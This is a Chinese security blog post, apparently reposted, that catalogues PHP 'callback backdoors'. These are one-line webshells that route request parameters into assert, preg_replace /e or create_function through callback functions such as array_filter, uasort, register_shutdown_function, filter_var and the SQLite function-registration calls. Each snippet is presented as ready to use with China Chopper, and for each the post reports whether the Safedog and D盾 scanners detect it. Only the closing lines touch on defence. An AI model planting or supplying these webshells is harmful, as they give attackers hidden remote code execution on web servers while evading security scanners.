做者:Phithonphp
原文鏈接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.htmlhtml
最近不少人分享一些過狗過盾的一句話,但無非是用各類方法去構造一些動態函數,好比$_GET['func']($_REQUEST['pass'])之類的方法。萬變不離其宗,但這種方法,雖然狗盾可能看不出來,但人肉眼其實很容易發現這類後門的。web
那麼,我就分享一下,一些不須要動態函數、不用eval、不含敏感函數、免殺免攔截的一句話。sql
0x00 前言shell
有不少朋友喜歡收藏一些tips,包括我也收藏了好多tips,有時候在滲透和漏洞挖掘過程當中頗有用處。數據庫
一句話的tips相信不少朋友也收集過好多,過狗一句話之類的。14年11月好像在微博上也火過一個一句話,當時也記印象筆記裏了:數組
最近又看到有人在發這個:http://www.secoff.net/archives/436.html安全
有同窗收集tips,就有同窗創造tips。那麼咱們怎麼來創造一些過狗、過D盾、無動態函數、無危險函數(無特徵)的一句話(後門)?ide
根據上面這個pdo的一句話,我就能夠獲得一個很具備普適性的結論:php中包含回調函數參數的函數,具備作後門的潛質。memcached
我就本身給這類webshell起了個名字:回調後門。
0x01 回調後門的老祖宗
php中call_user_func是執行回調函數的標準方法,這也是一個比較老的後門了:
1 |
call_user_func( 'assert' , $_REQUEST [ 'pass' ]); |
assert直接做爲回調函數,而後$_REQUEST['pass']做爲assert的參數調用。
這個後門,狗和盾均可以查到(可是狗不會攔截):
可php的函數庫是很豐富的,只要簡單改下函數安全狗就不殺了:
1 |
call_user_func_array( 'assert' , array ( $_REQUEST [ 'pass' ])); |
call_user_func_array函數,和call_user_func相似,只是第二個參數能夠傳入參數列表組成的數組。如圖:
可見,雖然狗不殺了,D盾仍是聰明地識別了出來。
看來,這種傳統的回調後門,已經被一些安全廠商盯上了,存在被查殺的風險。
0x02 數組操做形成的單參數回調後門
進一步思考,在平時的php開發中,遇到過的帶有回調參數的函數毫不止上面說的兩個。這些含有回調(callable類型)參數的函數,其實都有作「回調後門」的潛力。
我最先想到個最「簡單好用的」:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array ( $_POST [ 'pass' ],); |
3 |
array_filter ( $arr , base64_decode ( $e )); |
array_filter函數是將數組中全部元素遍歷並用指定函數處理過濾用的,如此調用(此後的測試環境都是開着狗的,可見均可以執行):
這個後門,狗查不出來,但D盾仍是有感應,報了個等級3(顯然比以前的等級4要低了):
相似array_filter,array_map也有一樣功效:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array ( $_POST [ 'pass' ],); |
3 |
array_map ( base64_decode ( $e ), $arr ); |
依舊被D盾查殺。
果真,簡單的數組回調後門,仍是很容易被發現與查殺的。
0x03 php5.4.8+中的assert
php 5.4.8+後的版本,assert函數由一個參數,增長了一個可選參數descrition:
這就增長(改變)了一個很好的「執行代碼」的方法assert,這個函數能夠有一個參數,也能夠有兩個參數。那麼之前回調後門中有兩個參數的回調函數,如今就可使用了。
好比以下回調後門:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array ( 'test' , $_REQUEST [ 'pass' ]); |
3 |
uasort( $arr , base64_decode ( $e )); |
這個後門在php5.3時會報錯,提示assert只能有一個參數:
php版本改做5.4後就能夠執行了:
這個後門,狗和盾是都查不出來的:
一樣的道理,這個也是功能相似:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array ( 'test' => 1, $_REQUEST [ 'pass' ] => 2); |
3 |
uksort( $arr , $e ); |
再給出這兩個函數,面向對象的方法:
1 |
// way 0 |
2 |
$arr = new ArrayObject( array ( 'test' , $_REQUEST [ 'pass' ])); |
3 |
$arr ->uasort( 'assert' ); |
4 |
5 |
// way 1 |
6 |
$arr = new ArrayObject( array ( 'test' => 1, $_REQUEST [ 'pass' ] => 2)); |
7 |
$arr ->uksort( 'assert' ); |
再來兩個相似的回調後門:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array (1); |
3 |
array_reduce ( $arr , $e , $_POST [ 'pass' ]); |
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array ( $_POST [ 'pass' ]); |
3 |
$arr2 = array (1); |
4 |
array_udiff ( $arr , $arr2 , $e ); |
以上幾個都是能夠直接菜刀鏈接的一句話,但目標PHP版本在5.4.8及以上纔可用。
我把上面幾個類型歸爲:二參數回調函數(也就是回調函數的格式是須要兩個參數的)
0x04 三參數回調函數
有些函數須要的回調函數類型比較苛刻,回調格式須要三個參數。好比array_walk。
array_walk的第二個參數是callable類型,正常狀況下它是格式是兩個參數的,但在0x03中說了,兩個參數的回調後門須要使用php5.4.8後的assert,在5.3就很差用了。但這個回調其實也能夠接受三個參數,那就好辦了:
php中,能夠執行代碼的函數:
三個參數能夠用preg_replace。因此我這裏構造了一個array_walk + preg_replace的回調後門:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array ( $_POST [ 'pass' ] => '|.*|e' ,); |
3 |
array_walk ( $arr , $e , '' ); |
如圖,這個後門能夠在5.3下使用:
但強大的D盾仍是有警覺(雖然只是等級2):
不過呵呵,PHP擁有那麼多靈活的函數,稍微改個函數(array_walk_recursive)D盾就查不出來了:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$arr = array ( $_POST [ 'pass' ] => '|.*|e' ,); |
3 |
array_walk_recursive ( $arr , $e , '' ); |
不截圖了。
看了以上幾個回調後門,發現preg_replace確實好用。但顯然不少WAF和頓頓狗狗的早就盯上這個函數了。其實php裏不止這個函數能夠執行eval的功能,還有幾個相似的:
1 |
mb_ereg_replace( '.*' , $_REQUEST [ 'pass' ], '' , 'e' ); |
另外一個:
1 |
echo preg_filter( '|.*|e' , $_REQUEST [ 'pass' ], '' ); |
這兩個一句話都是不殺的:
好用的一句話,且用且珍惜呀。
0x05 無回顯回調後門
回調後門裏,有個特殊的例子:ob_start。
ob_start能夠傳入一個參數,也就是當緩衝流輸出時調用的函數。但因爲某些特殊緣由(可能與輸出流有關),即便有執行結果也不在流裏,最後也輸出不了,因此這樣的一句話無法用菜刀鏈接:
1 |
ob_start( 'assert' ); |
2 |
echo $_REQUEST [ 'pass' ]; |
3 |
ob_end_flush(); |
但若是執行一個url請求,用神器cloudeye仍是可以觀測到結果的:
即便沒輸出,實際代碼是執行了的。也算做回調後門的一種。
0x06 單參數後門終極奧義
preg_replace、三參數後門雖然好用,但/e模式php5.5之後就廢棄了,不知道哪天就會給刪了。因此我以爲仍是單參數後門,在各個版本都比較好駕馭。
這裏給出幾個好用不殺的回調後門
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
register_shutdown_function( $e , $_REQUEST [ 'pass' ]); |
這個是php全版本支持的,且不報不殺穩定執行:
再來一個:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
declare (ticks=1); |
3 |
register_tick_function ( $e , $_REQUEST [ 'pass' ]); |
再來兩個:
1 |
filter_var( $_REQUEST [ 'pass' ], FILTER_CALLBACK, array ( 'options' => 'assert' )); |
2 |
filter_var_array( array ( 'test' => $_REQUEST [ 'pass' ]), array ( 'test' => array ( 'filter' => FILTER_CALLBACK, 'options' => 'assert' ))); |
這兩個是filter_var的利用,php裏用這個函數來過濾數組,只要指定過濾方法爲回調(FILTER_CALLBACK),且option爲assert便可。
這幾個單參數回調後門很是隱蔽,基本沒特徵,用起來很6.
0x07 數據庫操做與第三方庫中的回調後門
回到最先微博上發出來的那個sqlite回調後門,其實sqlite能夠構造的回調後門不止上述一個。
咱們能夠註冊一個sqlite函數,使之與assert功能相同。當執行這個sql語句的時候,就等於執行了assert。因此這個後門我這樣構造:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$db = new PDO( 'sqlite:sqlite.db3' ); |
3 |
$db ->sqliteCreateFunction( 'myfunc' , $e , 1); |
4 |
$sth = $db ->prepare( "SELECT myfunc(:exec)" ); |
5 |
$sth ->execute( array ( ':exec' => $_REQUEST [ 'pass' ])); |
執行之:
上面的sqlite方法是依靠PDO執行的,咱們也能夠直接調用sqlite3的方法構造回調後門:
1 |
$e = $_REQUEST [ 'e' ]; |
2 |
$db = new SQLite3( 'sqlite.db3' ); |
3 |
$db ->createFunction( 'myfunc' , $e ); |
4 |
$stmt = $db ->prepare( "SELECT myfunc(?)" ); |
5 |
$stmt ->bindValue(1, $_REQUEST [ 'pass' ], SQLITE3_TEXT); |
6 |
$stmt ->execute(); |
前提是php5.3以上。若是是php5.3如下的,使用sqlite_*函數,本身研究我不列出了。
這兩個回調後門,都是依靠php擴展庫(pdo和sqlite3)來實現的。其實若是目標環境中有特定擴展庫的狀況下,也能夠來構造回調後門。
好比php_yaml:
1 |
$str = urlencode( $_REQUEST [ 'pass' ]); |
2 |
$yaml = <<<EOD |
3 |
greeting: !{ $str } "|.+|e" |
4 |
EOD; |
5 |
$parsed = yaml_parse( $yaml , 0, $cnt , array ( "!{$_REQUEST['pass']}" => 'preg_replace' )); |
還有php_memcached:
1 |
$mem = new Memcache(); |
2 |
$re = $mem ->addServer( 'localhost' , 11211, TRUE, 100, 0, -1, TRUE, create_function( '$a,$b,$c,$d,$e' , 'return assert($a);' )); |
3 |
$mem ->connect( $_REQUEST [ 'pass' ], 11211, 0); |
自行研究吧。
0x08 其餘參數型回調後門
上面說了,回調函數格式爲一、二、3參數的時候,能夠利用assert、assert、preg_replace來執行代碼。但若是回調函數的格式是其餘參數數目,或者參數類型不是簡單字符串,怎麼辦?
舉個例子,php5.5之後建議用preg_replace_callback代替preg_replace的/e模式來處理正則執行替換,那麼其實preg_replace_callback也是能夠構造回調後門的。
preg_replace_callback的第二個參數是回調函數,但這個回調函數被傳入的參數是一個數組,若是直接將這個指定爲assert,就會執行不了,由於assert接受的參數是字符串。
因此咱們須要去「構造」一個知足條件的回調函數。
怎麼構造?使用create_function:
1 |
preg_replace_callback( '/.+/i' , create_function( '$arr' , 'return assert($arr[0]);' ), $_REQUEST [ 'pass' ]); |
「創造」一個函數,它接受一個數組,並將數組的第一個元素$arr[0]傳入assert。
這也是一個不殺不報穩定執行的回調後門,但由於有create_function這個敏感函數,因此看起來老是不太爽。不過也是沒辦法的事。
相似的,這個也一樣:
1 |
mb_ereg_replace_callback( '.+' , create_function( '$arr' , 'return assert($arr[0]);' ), $_REQUEST [ 'pass' ]); |
再來一個利用CallbackFilterIterator方法的回調後門:
1 |
$iterator = new CallbackFilterIterator( new ArrayIterator( array ( $_REQUEST [ 'pass' ],)), create_function( '$a' , 'assert($a);' )); |
2 |
foreach ( $iterator as $item ) { |
3 |
echo $item ; |
4 |
} |
這裏也是借用了create_function來建立回調函數。但有些同窗就問了,這裏建立的回調函數只有一個參數呀?實際上這裏若是傳入assert,是會報錯的,具體緣由本身分析。
0x09 後記
這一篇文章,就像一枚核武器,爆出了太多無特徵的一句話後門。我知道相關廠商在看了文章之後,會有一些小動做。不過我既然敢寫出來,那麼我就敢保證這些方法是多麼難以防護。
實際上,回調後門是靈活且無窮無盡的後門,只要php還在發展,那麼就有不少不少擁有回調函數的後門被創造。想要防護這樣的後門,光光去指哪防哪確定是不夠的。
簡單想一下,只有咱們去控制住assert、preg_replace這類函數,纔有可能防住這種漏洞。